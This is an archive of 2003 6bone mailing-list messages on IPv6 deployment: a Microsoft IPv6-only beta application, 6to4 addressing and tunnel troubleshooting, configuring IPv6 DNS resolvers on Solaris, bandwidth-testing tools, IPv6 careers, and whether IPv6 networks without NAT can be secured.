font-family:Arial;font-weight:bold'>Subject:</span></font></b><font =
size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> Re: =
[6bone]
Microsoft has released IPv6-only application for =
Beta<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Any ideas on how long it takes for them to permit you =
to
join&nbsp;the peer to peer update program? </span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Dan</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>----- Original Message ----- <o:p></o:p></span></font></p>

</div>

<blockquote style=3D'border:none;border-left:solid black =
1.5pt;padding:0in 0in 0in 4.0pt;
margin-left:3.75pt;margin-top:5.0pt;margin-right:0in;margin-bottom:5.0pt'=
>

<div style=3D'font-color:black'>

<p class=3DMsoNormal style=3D'background:#E4E4E4'><b><font size=3D2 =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;font-weight:bold'>From:</span=
></font></b><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'> <a
href=3D"mailto:cmitch@windows.microsoft.com" =
title=3D"cmitch@windows.microsoft.com">Chris
Mitchell</a> <o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold'>To:</span></font></b><font size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> <a
href=3D"mailto:6bone@ISI.EDU" title=3D"6bone@ISI.EDU">6bone@ISI.EDU</a> =
; <a
href=3D"mailto:nav6tf@ipv6forum.com" =
title=3D"nav6tf@ipv6forum.com">nav6tf@ipv6forum.com</a>
<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold'>Sent:</span></font></b><font =
size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> =
<st1:date Year=3D"07"
Day=3D"07" Month=3D"3" ls=3D"trans" w:st=3D"on">Friday, <st1:date =
Year=3D"07" Day=3D"07"
 Month=3D"3" ls=3D"trans" w:st=3D"on">March 07, =
2003</st1:date></st1:date><st1:time
Minute=3D"27" Hour=3D"14" w:st=3D"on"> 2:27 =
PM</st1:time><o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><b><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold'>Subject:</span></font></b><font =
size=3D2
face=3DArial><span style=3D'font-size:10.0pt;font-family:Arial'> [6bone] =
Microsoft
has released IPv6-only application for Beta<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi, you may have seen one of the articles published =
last
week about a new beta release of an application called Threedegrees that
Microsoft released for the young &#8220;NetGen&#8221; market. &nbsp;In =
case you
didn&#8217;t hear about this or haven&#8217;t had time to read about the
application I wanted to be sure you knew that it is an IPv6-only =
application.
&nbsp;It is available for beta on <a =
href=3D"http://www.threedegrees.com"
title=3D"http://www.threedegrees.com/">www.threedegrees.com</a> and I =
encourage
you all to check it out.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>You can also read more about the underlying peer to =
peer and
IPv6 technologies we are shipping with Threedegrees at: <a
href=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkannou=
ncespr.asp"
title=3D"http://www.microsoft.com/presspass/press/2003/feb03/02-26sdkanno=
uncespr.asp">http://www.microsoft.com/presspass/press/2003/feb03/02-26sdk=
announcespr.asp</a>.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>If you have any questions or comments please let me =
know.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Chris Mitchell<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Microsoft &#8211; Windows Networking &#8211; =
IPv6<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

</blockquote>

</blockquote>

</div>

</body>

</html>

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To: "Jeroen Massar" <jeroen@unfix.org>
Cc: <6bone@ISI.EDU>
References: <001101c2e71a$064d2440$210d640a@unfix.org>
Subject: Re: [6bone] Microsoft has released IPv6-only application for Beta
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> Hi Joroen,

it's J_e_roen mind you ;)
French people tend to write Jerome <grin>
Whoops , Hi Jeroen , thanks for the swift reply.
And apologies everyone for another long mail - and for getting off track re
subject line.
(I do intend to use it honest)

<SNIP>

MS Autoconfig knows about RFC1918 (private address space, see:
eg http://1918.rfc.wiretrip.org or type rfc1918 in google) and
thus should not use that space for 6to4 tunnels. Also note that
you are quite probably running ICS on your machine, at least
that is what the "Network Bridge (Network Bridge)" could indicate.
But indeed it's your own LAN and not the public Inet.

Thanks for that, yes I have ICS , will have a router in May which will make
things easier.
(Recommendations anyone on what Router to get?)

> How did you work this out. I thought part of the address was
> obtained from the MAC layer?

2002:9089:fc85::9089:fc85
^    ^^^^^^^^^
|        +---------------- Your public IPv4 address (*1)
+------------------------- 2002::/16 == 6to4 space

*1 = 0x90 = 144
     0x89 = 137
     0xfc = 252
     0x85 = 133 ----> 144.137.252.133

Thanks for the reminder.

OrgName:    Telstra
NetRange:   144.137.0.0 - 144.137.255.255
CIDR:       144.137.0.0/16
NetName:    TELECOMAU7

On the internet nobody is anonymous, or some other movie quote ;)

Your right there, incidentally I received a reply from Telstra research and
'Geoff Huston' is on the case apparently. No more details so need to track
him down.


>Show traceroutes. Also when using a 6to4 relay in the US when
>you are down under you should not expect good latencies.

See further down for traceroutes on the 3 sixxs website addys you gave me.

> I thought I had a tunnel? Using TILAB's client software I
> have an address registered until 2008. (2038 apparently)

That's not visible in your config output.

Detailed output:-

        Host Name . . . . . . . . . . . . : madaboutipv6
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Hybrid
        IP Routing Enabled. . . . . . . . : Yes
        WINS Proxy Enabled. . . . . . . . : No
        DNS Suffix Search List. . . . . . : vic.bigpond.net.au

Ethernet adapter Local Area Connection 5:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Efficient Networks Enternet
P.P.P.o.
E Adapter
        Physical Address. . . . . . . . . : 44-45-53-54-77-77
        Dhcp Enabled. . . . . . . . . . . : Yes
        Autoconfiguration Enabled . . . . : No
        IP Address. . . . . . . . . . . . : 144.137.251.112
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . : fe80::4645:53ff:fe54:7777%4
        Default Gateway . . . . . . . . . : 144.137.251.112
        DHCP Server . . . . . . . . . . . : 1.1.1.1
        DNS Servers . . . . . . . . . . . : 61.9.128.16
                                            61.9.128.13
                                            fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        Lease Obtained. . . . . . . . . . : Tuesday, 11 March 2003 12:43:14
AM
        Lease Expires . . . . . . . . . . : Tuesday, 19 January 2038
11:14:07 AM


Ethernet adapter Network Bridge (Network Bridge):

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : MAC Bridge Miniport
        Physical Address. . . . . . . . . : 02-40-D0-2A-AF-71
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 192.168.0.1
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        IP Address. . . . . . . . . . . . :
2002:c0a8:1:5:f0a0:fdee:9102:f0a3
        IP Address. . . . . . . . . . . . : 2002:c0a8:1:5:40:d0ff:fe2a:af71
        IP Address. . . . . . . . . . . . : fe80::40:d0ff:fe2a:af71%5
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1

Tunnel adapter 6to4 Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : 6to4 Tunneling Pseudo-Interface
        Physical Address. . . . . . . . . : 90-89-FB-70
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : 2002:9089:fb70::9089:fb70
        Default Gateway . . . . . . . . . : 2002:836b:213c:1:e0:8f08:f020:8
                                            2001:708:0:1::624
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Automatic Tunneling
Pseudo-Interface

        Physical Address. . . . . . . . . : 90-89-FB-70
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:144.137.251.112%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

        Connection-specific DNS Suffix  . :
        Description . . . . . . . . . . . : Automatic Tunneling
Pseudo-Interface

        Physical Address. . . . . . . . . : C0-A8-00-01
        Dhcp Enabled. . . . . . . . . . . : No
        IP Address. . . . . . . . . . . . : fe80::5efe:192.168.0.1%2
        Default Gateway . . . . . . . . . :
        DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                            fec0:0:0:ffff::2%1
                                            fec0:0:0:ffff::3%1
        NetBIOS over Tcpip. . . . . . . . : Disabled

I don't want the job doing for me, but where do I look to rectify wrong
configuration(s)


>I think that the Australian people should lobby at the current TLA
>holders for a good working 6to4 or a TB. Call them up if needed
>and put some pressure on them.

That's a good idea, maybe I need to look at the ipv6-au forum.
Who else is here from AU , maybe a dedicated list is needed to help
persuasion techniques.?
Anyone want a list compiling or is there one already.?


http://www.sixxs.net is IPv4 and IPv6 reachable.
http://www.ipv4.sixxs.net is IPv4 only (as it got only a A address :)
http://www.ipv6.sixxs.net is IPv6 only (as it got only a AAAA address :)

Ok tracert6 on sixxs.net fails miserably at the first hop as does
ipv6.sixxs.net , what am I missing?

** STOP PRESS **  Skip that last comment , it's working fine today and I
haven't done a damn thing!
So now I can get all all three versions of your site no problems.

Tracing route to noc.sixxs.net [3ffe:4007:1:1:210:dcff:fe20:7c7c]
from 2002:9089:fb70::9089:fb70 over a maximum of 30 hops:

  1      297 ms   300 ms   300 ms  2002:836b:213c:1:e0:8f08:f020:8
  2      460 ms   460 ms   460 ms  2001:7f8:1::a500:8954:1
  3      460 ms   581 ms   460 ms  2001:7f8:1::a501:2871:1
  4      460 ms   460 ms   471 ms  2001:838:0:10::2
  5      470 ms   480 ms   470 ms  noc.sixxs.net
[3ffe:4007:1:1:210:dcff:fe20:7c7c]

Trace complete.

      EUI-64 scope local
      Interface identifier 0000:0000:9089:fb70
      6to4 IPv4 address 144.137.251.112
      Registry of 6to4 IPv4 address ARIN
      IPv6 address 2002:9089:fb70:0000:0000:0000:9089:fb70
      Site Level Aggregator (subnet) 0000
      Address type unicast,6to4,global-unicast


(taken from ipv6calc)


> Speaking of which , is there a native IPv6 DNS root server yet?

>Yes, there is a testbed. Bill Manning knows all about it ;)

Good to know, I got more info from http://www.isi.edu/~bmanning/v6DNS.html

Thanks for your time Jéroen :0))




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From bob@thefinks.com Tue Mar 11 08:01:13 2003
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NECTEC-TH has been allocated pTLA 3FFE:4016::/32 having finished its 2-week 
review period.

   <http://whois.6bone.net/cgi-bin/whois?NECTEC-TH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob 


From Emanuele.Logalbo@TILAB.COM Tue Mar 11 09:38:47 2003
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HI all I am testing an Ipv6 multicast test plant and I need to test band-usage.Could you suggest me a friendly tool doing that?
Thank you.Best Regards


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From jeroen@unfix.org Tue Mar 11 11:19:44 2003
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To: "'Lo Galbo Emanuele'" <Emanuele.Logalbo@TILAB.COM>, <6bone@ISI.EDU>
Subject: RE: [6bone] which kind of tool for monitoring bandwhich
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Galbo Emanuele wrote:

> HI all I am testing an Ipv6 multicast test plant and I need 
> to test band-usage.Could you suggest me a friendly tool doing that?
> Thank you.Best Regards

IPerf:

www.google.com -> iperf

http://dast.nlanr.net/Projects/Iperf/

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Eek, public mailinglists can't be confidential, you really must be
kidding.

Greets,
 Jeroen


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i doubt iperf does support multicast ?


On Tue, 11 Mar 2003, Jeroen Massar wrote:

> Galbo Emanuele wrote:
>
> > HI all I am testing an Ipv6 multicast test plant and I need
> > to test band-usage.Could you suggest me a friendly tool doing that?
> > Thank you.Best Regards
>
> IPerf:
>
> www.google.com -> iperf
>
> http://dast.nlanr.net/Projects/Iperf/
>
> > ====================================================================
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>
> Eek, public mailinglists can't be confidential, you really must be
> kidding.
>
> Greets,
>  Jeroen
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From yjchui@cht.com.tw Tue Mar 11 23:21:38 2003
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Hello:
    Does anybody know that how to specify IPv6 DNS server on a IPv6-only =
host? (solaris/windows)
    I have tried to edit /etc/resolv.conf on solaris 8 with adding one =
line:  "nameserver 3ffe:3600:8::1"
    But it seems not work!

    Is it possible to specify an IPv6 DNS server on windows system? (XP, =
2000 or .Net)

Thanks

Yann-Ju Chu
E-mail: yjchui@cht.com.tw
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DMingLiu size=3D2>Hello:</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; Does =
anybody know that how to=20
specify IPv6 DNS server on a IPv6-only host? =
(solaris/windows)</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; I have =
tried to edit=20
/etc/resolv.conf on solaris 8 with adding one line:&nbsp; "nameserver=20
3ffe:3600:8::1"</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; But it =
seems not=20
work!</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; Is it =
possible to specify an IPv6=20
DNS server on windows system? (XP, 2000 or .Net)</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DMingLiu size=3D2>Yann-Ju Chu</FONT></DIV>
<DIV><FONT face=3DMingLiu size=3D2>E-mail: <A=20
href=3D"mailto:yjchui@cht.com.tw">yjchui@cht.com.tw</A></FONT></DIV></BOD=
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Hello:
    Does anybody know that how to specify IPv6 DNS server on a IPv6-only =
host? (solaris/windows)
    I have tried to edit /etc/resolv.conf on solaris 8 with adding one =
line:  "nameserver 3ffe:3600:8::1"
    But it seems not work!

    Is it possible to specify an IPv6 DNS server on windows system? (XP, =
2000 or .Net)

Thanks

Yann-Ju Chu
E-mail: yjchui@cht.com.tw
------=_NextPart_000_000A_01C2E8B1.ABC22CC0
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	charset="big5"
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<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DMingLiu size=3D2></FONT>&nbsp;</DIV>
<DIV><BR></DIV>
<DIV><FONT face=3DMingLiu size=3D2>Hello:</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; Does =
anybody know that how to=20
specify IPv6 DNS server on a IPv6-only host? =
(solaris/windows)</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; I have =
tried to edit=20
/etc/resolv.conf on solaris 8 with adding one line:&nbsp; "nameserver=20
3ffe:3600:8::1"</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; But it =
seems not=20
work!</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>&nbsp;&nbsp;&nbsp; Is it =
possible to specify an IPv6=20
DNS server on windows system? (XP, 2000 or .Net)</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3D=B2=D3=A9=FA=C5=E9 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DMingLiu size=3D2>Yann-Ju Chu</FONT></DIV>
<DIV><FONT face=3DMingLiu size=3D2>E-mail: <A=20
href=3D"mailto:yjchui@cht.com.tw">yjchui@cht.com.tw</A></FONT></DIV></BOD=
Y></HTML>

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From basit@basit.cc Wed Mar 12 02:34:29 2003
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From: Abdul Basit <basit@basit.cc>
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Subject: [6bone] Careers in IPv6.
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Hey,

 Is there any mailing list / job board for searching
IPv6 related jobs?  I beleive creating such a list/board
will help in IPv6 growth.

 If there will be jobs in this area, more people will be
working on it, its the same thing as cisco certifications
increased the chance to get a job so cisco products become
more popular than any other in a short period of time.

 Currently, it seems that IPv6 is only mainly studied by
students/researchers. When these students finish the degree, there are
minor chances that they will still be able work on it. They work
according to their job requirements. If there will be jobs in IPv6, they
will be more than willing to utilize the previous experience.

 The most common question asked, if you tell someone about IPv6 is 'when
do you think, IPv6 will be deployed globally?', We usually reply 'sir, may
be in next 8-10 years', so does it means that IPv6 releated jobs will be
available after 8-10 years when IPv6 becomes common in use?

-- basit



From gert@Space.Net Wed Mar 12 05:58:22 2003
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From: Gert Doering <gert@space.net>
To: yjchui <yjchui@cht.com.tw>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
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Hi,

On Wed, Mar 12, 2003 at 03:15:02PM +0800, yjchui wrote:
>     Does anybody know that how to specify IPv6 DNS server on a IPv6-only host? (solaris/windows)
>     I have tried to edit /etc/resolv.conf on solaris 8 with adding one line:  "nameserver 3ffe:3600:8::1"
>     But it seems not work!

For Linux, this works nicely.  My office PC has exactly this in its
resolv.conf - "nameserver 2001:608::2".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57285 (57021)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From remcovz@xs4all.nl Wed Mar 12 06:21:02 2003
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Date: Wed, 12 Mar 2003 15:20:53 +0100
From: Remco van Zuijlen <remcovz@xs4all.nl>
To: yjchui <yjchui@cht.com.tw>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
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On Wed, Mar 12, 2003 at 03:15:02PM +0800, yjchui wrote:
> Hello:
>     Does anybody know that how to specify IPv6 DNS server on a IPv6-only
>     host? (solaris/windows) I have tried to edit /etc/resolv.conf on
>     solaris 8 with adding one line: "nameserver 3ffe:3600:8::1" But it
>     seems not work!


what if you try with square brackets? so like:

nameserver [3ffe:3600:8::1]

>     Is it possible to specify an IPv6 DNS server on windows system? (XP,
>     2000 or .Net)

Don't know :) probably not, or via the ipv6 tool in dos.

Remco

-- 
Remco van Zuijlen <remcovz@xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!


From sp@iphh.net Wed Mar 12 06:30:56 2003
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> >     Does anybody know that how to specify IPv6 DNS server on a IPv6-only
> >     host? (solaris/windows) I have tried to edit /etc/resolv.conf on
> >     solaris 8 with adding one line: "nameserver 3ffe:3600:8::1" But it
> >     seems not work!
> 
> 
> what if you try with square brackets? so like:
> 
> nameserver [3ffe:3600:8::1]
> 
> >     Is it possible to specify an IPv6 DNS server on windows system? (XP,
> >     2000 or .Net)
> 
> Don't know :) probably not, or via the ipv6 tool in dos.

Did you configure /etc/nsswitch.conf to query for "6" hosts?

Regards
Sascha



From pim@ipng.nl Wed Mar 12 06:32:46 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Abdul Basit <basit@basit.cc>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Careers in IPv6.
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On Wed, Mar 12, 2003 at 10:33:06AM +0000, Abdul Basit wrote:
| Hey,
| 
|  Is there any mailing list / job board for searching
| IPv6 related jobs?  I beleive creating such a list/board
| will help in IPv6 growth.
I think the IPv6 'jobs' are non-existant. There will be a
demand for engineers which can deploy this protocol, just 
as any other (ATM, MPLS, IPv4, PPPoX).

|  The most common question asked, if you tell someone about IPv6 is 'when
| do you think, IPv6 will be deployed globally?', We usually reply 'sir, may
| be in next 8-10 years', so does it means that IPv6 releated jobs will be
| available after 8-10 years when IPv6 becomes common in use?
In my job, I am confronted with IPv6 on a regular (allmost daily) base,
because the ISP I work for offers this type of connectivityto our
customers.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pekkas@netcore.fi Wed Mar 12 06:53:25 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Lo Galbo Emanuele <Emanuele.Logalbo@TILAB.COM>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] which kind of tool for monitoring bandwhich
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On Tue, 11 Mar 2003, Lo Galbo Emanuele wrote:
> HI all I am testing an Ipv6 multicast test plant and I need to test
> band-usage.Could you suggest me a friendly tool doing that? Thank

ttcp.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From 9725415@student.ul.ie Wed Mar 12 07:40:32 2003
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Subject: [6bone] came across this article any opinions??
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I'll stick with IPv4 for now, thank you
By CHUCK YOKE
Network World, 03/13/00 
I don't get it. Maybe it's because I'm over 40 and the brain cells are
dying, but there are many things happening today in the world of technology
that I just don't understand. 
Take IPv6, for example. I just don't get it. Why in the world would I be
interested in investing the time, money and effort it is going to take to
convert my IPv4 networks to IPv6?
At one time I was very interested in IPv6. It was going to solve many of my
network problems. The extended address space would spare me from having to
create and maintain a variable-length, bit-level subnet addressing scheme.
The built-in authentication and security would let me sleep better at night,
knowing that only secure and authenticated packets were entering my
networks. The quality of service (QoS) would enable me to fully integrate my
voice and data over IP. 
But then a crisis happened - I ran out of time. I needed IPv6 two years ago,
and it wasn't there. And I couldn't wait any longer. So I did what everyone
else in the world was doing: I integrated a variety of IPv4-based products
and services into my network. 
My address needs were met by migrating my network to an RFC 1918-compliant
unregistered IP address. I now have IP addresses galore and can use a very
simplistic subnet-masking scheme to segment and identify my networks by
building and floor. My network technicians can tell from the second and
third octet exactly where a device is located. 
For security, I chose a firewall with features that, when combined with the
appropriate access control lists, ensure the integrity of both incoming and
outgoing transmissions. I implemented a combination of Remote Authentication
Dial-In User Service and Challenge Handshake Authentication Protocol to
ensure that local, Internet-based and remote dial-in connections are granted
only to authenticated users with the appropriate access levels. And for
encrypting sensitive documents and files, I implemented PGP - inexpensive,
easy and best of all, it works! 
My QoS needs were met by a combination of bigger pipes and faster equipment.
100Base-T and 1000Base-T Ethernet give me more than enough bandwidth, and
the advances in Application Specific Integrated Circuit technology ensure
that packet serialization delay is kept to a minimum. For the more stringent
QoS I may need in the coming years, I have a plethora of IPv4-based choices,
including policy-based networking, Differentiated Services, TCP rate shaping
and the old standby, ATM. 
So here I am, manager of an IPv4-based network that works fine, is addressed
in a logical and easy-to-maintain manner, is secure, and integrates my voice
and data. I just don't see any need to convert my functional IPv4 network to
IPv6.


From andree@bos.nl Wed Mar 12 07:43:42 2003
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From: "Andree Toonk" <andree@bos.nl>
To: "yjchui" <yjchui@cht.com.tw>, <6bone@ISI.EDU>
References: <000d01c2e86e$9daf8e90$27a9900a@twinkletaipei>
Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
Date: Wed, 12 Mar 2003 16:42:28 +0100
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>----- Original Message -----
>From: yjchui
>To: 6bone@ISI.EDU
>Sent: Wednesday, March 12, 2003 9:08 AM
>Subject: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
>
>Hello:
>   Does anybody know that how to specify IPv6 DNS server on a IPv6-only
host? (solaris/windows)
>  I have tried to edit /etc/resolv.conf on solaris 8 with adding one line:
"nameserver 3ffe:3600:8::1"
> But it seems not work!

Hello yjchui ,

what do you have in your " /etc/nsswitch.conf" ?
You have to specify that it should use dns:
the following line should be in that file:
ipnodes:    files dns
(by default it only has files)

for ipv4 you´ve specified the following
hosts:      files dns

(ipnodes is the same as hosts is in ipv4)
the host file for ipv6 is /etc/inet/ipnodes

Goodluck,
-Andree




From 6bone@megabot.nl Wed Mar 12 07:51:55 2003
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From: Mendel Mobach <6bone@megabot.nl>
Organization: CWI
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Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
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On Wednesday 12 March 2003 08:15, yjchui wrote:
> Hello:
>     Does anybody know that how to specify IPv6 DNS server on a IPv6-only
> host? (solaris/windows) I have tried to edit /etc/resolv.conf on solaris 8
> with adding one line:  "nameserver 3ffe:3600:8::1" But it seems not work!

I tested very much together with some other people but it looks that there is 
no real ipv6 support in the resolver libs. It supports looking up AAAA 
records and some more, but no native ipv6 nameserver support.

At my box I installed a bind server and I just use: nameserver 127.0.0.1 (bind 
supports ipv6).

Kind Regards, 

Mendel Mobach
-- 
Mendel Mobach aka BugBlue - Mendel.Mobach@cwi.nl
  4:48pm  up  6:20,  9 users,  load average: 1.23, 0.52, 0.48
A plumber is needed, the network drain is clogged


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From: "BEGIN, Thomas" <tbegin@tf1.fr>
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Hello,
Security... that's a core problem for a lot of engineers !

With IPv4, a lot of enterprises networks were set up with private addresses (eg 10.x.x.x ). That implies that computers inside the network are unreachable from outside (eg Internet). 

Since IPv6 offers a large scale of addresses, I've heard that companies could address their machines with global unicast addresses (public addresses) and also benefit fully from IPsec and peer to peer applications.
That's nice and it is said that it should improve security (IPsec totally used from sender to receiver).
But in the other hand, isn't it dangerous to address machines with global unicast address and thus make them reachable directly from anywhere and by anybody... Besides NAT is often acknowledged as a good shield to secure networks.

Then is it really possible to protect IPv6 networks (with global unicast addresses) as safe as Ipv4 networks using NAT ?

I realize this is a big topic and may be there is no easy response but getting a high performance security is a fundamental factor for the deployement of IPv6.

But if you have any idea (know enterprises that use public addresses for their network) please let me know ...

-Thomas

PS: using site local addresses inside IPv6 networks doesn't solve the problem ... ;-))

From chuck@degler.net Wed Mar 12 09:51:06 2003
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From: Chuck Yerkes <chuck+6bone@snew.com>
To: "BEGIN, Thomas" <tbegin@tf1.fr>
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Subject: Re: [6bone] Security over IPv6 networks
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NAT is not security.  Recent exploits have further hammered
this home, but it's never been about security.  It's been about
dealing with 8 IP addresses and 200 machines.

Can it help security some?  Sure.  I made by friend with Windows
and DSL get a NAT box.  Badly written client applications can easily
be tricked into downloading bad code eliciting buffer over flow
or, for the really bad programs like Outlook and IE, running code
from strangers.  All through NAT.

Is NAT a firewall?  Only for the naive.

Cheswick and Bellovin have a second edition of their lovely book
on firewalls and internet security - the first book on the topic
(but certainly not the first paper or article).  IPv6 offers more
options, not fewer.


I've run, since the 80's, networks with routable addresses on them.
They all go through 1 (or more) choke points.  We built firewalls
in the early 90s.  These were boxes that ran proxies (small, well
